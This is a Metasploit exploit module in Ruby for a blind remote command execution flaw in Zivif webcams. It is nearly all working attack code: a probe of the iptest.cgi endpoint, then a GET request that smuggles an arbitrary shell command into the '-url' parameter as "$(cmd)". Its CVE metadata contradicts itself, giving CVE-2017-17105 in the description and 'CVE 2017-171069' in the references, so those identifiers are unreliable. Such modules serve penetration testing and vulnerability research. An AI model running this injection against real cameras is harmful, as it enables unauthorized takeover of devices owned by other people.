##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zivif Camera iptest.cgi Blind Remote Command Execution',
        'Description' => %q{
          This module exploits a remote command execution vulnerability in Zivif
          webcams.  This is known to impact versions prior to and including v2.3.4.2103.
          Exploit was reported in CVE-2017-17105.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Silas Cutler (p1nk)' ],
        'References' => [
          [ 'URL', 'https://seclists.org/fulldisclosure/2017/Dec/42' ],
          [ 'CVE', '2017-171069' ]
        ],
        'Platform' => 'unix',
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00\x27",
          'DisableNops' => true,
          'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'generic'
              }
        },
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/generic'
        },
        'Privileged' => false,
        'DisclosureDate' => '2017-09-01',
        'DefaultTarget' => 0
      )
    )
  end

  def check
    res = send_request_cgi('uri' => normalize_uri('cgi-bin', 'iptest.cgi'))
    unless res
      vprint_error('Connection failed')
      return Exploit::CheckCode::Unknown
    end
    unless res.code && res.code == 200
      return CheckCode::Safe
    end

    CheckCode::Detected
  end

  def exploit
    print_status('Sending request')
    cmd = datastore['CMD']

    res = send_request_cgi(
      'uri' => normalize_uri('cgi-bin', 'iptest.cgi'),
      'method' => 'GET',
      'vars_get' => {
        'cmd' => 'iptest.cgi',
        '-time' => Time.now.to_i,
        '-url' => "$(#{cmd})"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code && res.code == 200
      print_good('Command sent successfully')
    else
      fail_with(Failure::UnexpectedReply, 'Unable to send command to target')
    end
  end

end
